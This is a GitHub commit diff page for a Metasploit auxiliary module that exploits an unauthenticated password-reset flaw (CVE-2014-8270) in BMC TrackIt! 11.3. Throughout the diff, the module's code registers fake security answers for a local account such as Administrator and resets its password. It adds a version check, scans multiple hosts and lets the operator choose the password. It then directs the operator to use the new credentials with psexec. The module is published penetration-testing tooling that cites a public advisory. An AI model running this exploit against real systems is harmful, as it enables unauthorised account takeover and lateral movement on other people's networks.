Skip to content

Commit 8c6b95c

Browse files
committed
Merge branch 'landing-4359' of https://github.com/jhart-r7/metasploit-framework into bmc_trackit
2 parents cd1e61a + 751bc7a commit 8c6b95c

File tree

1 file changed

+115
-35
lines changed

1 file changed

+115
-35
lines changed

modules/auxiliary/gather/bmc_trackit_passwd_reset.rb

Lines changed: 115 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -6,94 +6,174 @@
66
require 'msf/core'
77

88
class Metasploit4 < Msf::Auxiliary
9-
109
include Msf::Auxiliary::Report
1110
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Scanner
1212

1313
def initialize(info = {})
14-
super(update_info(info,
14+
super(update_info(
15+
info,
1516
'Name' => 'BMC TrackIt! Unauthenticated Arbitrary Local User Password Change',
16-
'Description' => %q{
17+
'Description' => %q(
1718
This module exploits a flaw in the password reset mechanism in BMC TrackIt! 11.3
1819
and possibly prior versions.
19-
},
20+
),
2021
'References' =>
2122
[
2223
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-419/'],
2324
['CVE', '2014-8270']
2425
],
2526
'Author' =>
2627
[
27-
'bperry', #discovery/metasploit module
28+
'bperry', # discovery/metasploit module
2829
],
2930
'License' => MSF_LICENSE,
3031
'DisclosureDate' => "Dec 9 2014"
3132
))
3233

3334
register_options(
3435
[
35-
Opt::RPORT(80),
3636
OptString.new('TARGETURI', [true, 'The path to BMC TrackIt!', '/']),
3737
OptString.new('LOCALUSER', [true, 'The local user to change password for', 'Administrator']),
38+
OptString.new('LOCALPASS', [false, 'The password to set for the local user (blank for random)', '']),
3839
OptString.new('DOMAIN', [false, 'The domain of the user. By default the local user\'s computer name will be autodetected', ''])
3940
], self.class)
4041
end
4142

42-
def run
43-
res = send_request_cgi({
44-
'uri' => normalize_uri(target_uri.path, 'PasswordReset'),
45-
})
43+
def localuser
44+
datastore['LOCALUSER']
45+
end
4646

47-
unless res
48-
fail_with(Failure::Unknown, "Could not contact server")
47+
def password_reset
48+
begin
49+
uri = normalize_uri(target_uri.path, 'PasswordReset')
50+
send_request_cgi('uri' => uri)
51+
rescue => e
52+
vprint_error("#{peer}: unable to request #{uri}: #{e}")
53+
nil
4954
end
55+
end
56+
57+
def check_host(ip)
58+
vprint_status("#{peer}: retrieving PasswordReset page to extract Track-It! version")
59+
60+
unless (res = password_reset)
61+
return
62+
end
63+
64+
if res.body =~ /<title>Track-It! Password Reset/i
65+
version = res.body.scan(/\bBuild=([\d\.]+)/).flatten.first
66+
if version
67+
fix_version = '11.4'
68+
if Gem::Version.new(version) < Gem::Version.new(fix_version)
69+
report_vuln(
70+
host: ip,
71+
port: rport,
72+
name: name,
73+
info: "Module #{fullname} detected Track-It! version #{version}",
74+
refs: references
75+
)
76+
vprint_status("#{peer}: Track-It! version #{version} is less than #{fix_version}")
77+
return Exploit::CheckCode::Vulnerable
78+
else
79+
vprint_status("#{peer}: Track-It! version #{version} is not less than #{fix_version}")
80+
return Exploit::CheckCode::Safe
81+
end
82+
else
83+
vprint_error("#{peer}: unable to get Track-It! version")
84+
return Exploit::CheckCode::Unknown
85+
end
86+
else
87+
vprint_status("#{peer}: does not appear to be running Track-It!")
88+
return Exploit::CheckCode::Safe
89+
end
90+
end
5091

51-
cookie = res.headers['Set-Cookie']
52-
domain = $1 if res.body =~ /"domainName":"(.*)"\}\);/
53-
domain = datastore['DOMAIN'] if datastore['DOMAIN'] != ''
92+
def run_host(ip)
93+
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
5494

55-
res = send_request_cgi({
95+
if datastore['DOMAIN'].blank?
96+
vprint_status("#{peer}: retrieving session cookie and domain name")
97+
else
98+
vprint_status("#{peer}: retrieving domain name")
99+
end
100+
101+
unless (res = password_reset)
102+
return
103+
end
104+
105+
cookies = res.get_cookies
106+
if datastore['DOMAIN'].blank?
107+
if res.body =~ /"domainName":"([^"]*)"/
108+
domain = Regexp.last_match(1)
109+
vprint_status("#{peer}: found domain name: #{domain}")
110+
else
111+
print_error("#{peer}: unable to obtain domain name. Try specifying DOMAIN")
112+
return
113+
end
114+
else
115+
domain = datastore['DOMAIN']
116+
end
117+
118+
full_user = "#{domain}\\#{localuser}"
119+
vprint_status("#{peer}: registering #{full_user}")
120+
answers = [ Rex::Text.rand_text_alpha(8), Rex::Text.rand_text_alpha(8) ]
121+
res = send_request_cgi(
56122
'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'Register'),
57123
'method' => 'POST',
58-
'cookie' => cookie,
124+
'cookie' => cookies,
59125
'vars_post' => {
60126
'domainname' => domain,
61-
'userName' => datastore['LOCALUSER'],
127+
'userName' => localuser,
62128
'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com',
63-
'userQuestions' => '[{"Id":1,"Answer":"not"},{"Id":2,"Answer":"not"}]',
129+
'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]),
64130
'updatequesChk' => 'false',
65131
'SelectedQuestion' => 1,
66132
'SelectedQuestion' => 2,
67-
'answer' => 'not',
68-
'answer' => 'not',
69-
'confirmanswer' => 'not',
70-
'confirmanswer' => 'not'
133+
'answer' => answers.first,
134+
'answer' => answers.last,
135+
'confirmanswer' => answers.first,
136+
'confirmanswer' => answers.last
71137
}
72-
})
138+
)
73139

74-
if !res or res.body != "{\"success\":true,\"data\":{\"userUpdated\":true}}"
75-
fail_with(Failure::Unknown, "Could not register the user.")
140+
if !res || res.body != "{\"success\":true,\"data\":{\"userUpdated\":true}}"
141+
print_error("#{peer}: Could not register #{full_user}")
142+
return
76143
end
77144

78-
password = Rex::Text.rand_text_alpha(10) + "!1"
145+
vprint_status("#{peer}: changing password for #{full_user}")
146+
147+
if datastore['LOCALPASS'].blank?
148+
password = Rex::Text.rand_text_alpha(10) + "!1"
149+
else
150+
password = datastore['LOCALPASS']
151+
end
79152

80-
res = send_request_cgi({
153+
res = send_request_cgi(
81154
'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'ResetPassword'),
82155
'method' => 'POST',
83-
'cookie' => cookie,
156+
'cookie' => cookies,
84157
'vars_post' => {
85158
'newPassword' => password,
86159
'domain' => domain,
87-
'UserName' => datastore['LOCALUSER'],
160+
'UserName' => localuser,
88161
'CkbResetpassword' => 'true'
89162
}
90-
})
163+
)
91164

92-
if !res or res.body != '{"success":true,"data":{"PasswordResetStatus":0}}'
93-
fail_with(Failure::Unknown, "Could not change the user's password. Is it a domain or local user?")
165+
if !res || res.body != '{"success":true,"data":{"PasswordResetStatus":0}}'
166+
print_error("#{peer}: Could not change #{full_user}'s password -- is it a domain or local user?")
167+
return
94168
end
95169

96-
print_status("Please run the psexec module using:")
97-
print_status("#{domain}\\#{datastore['LOCALUSER']}:#{password}")
170+
report_vuln(
171+
host: ip,
172+
port: rport,
173+
name: name,
174+
info: "Module #{fullname} changed #{full_user}'s password to #{password}",
175+
refs: references
176+
)
177+
print_good("#{peer}: Please run the psexec module using #{full_user}:#{password}")
98178
end
99179
end

0 commit comments

Comments
 (0)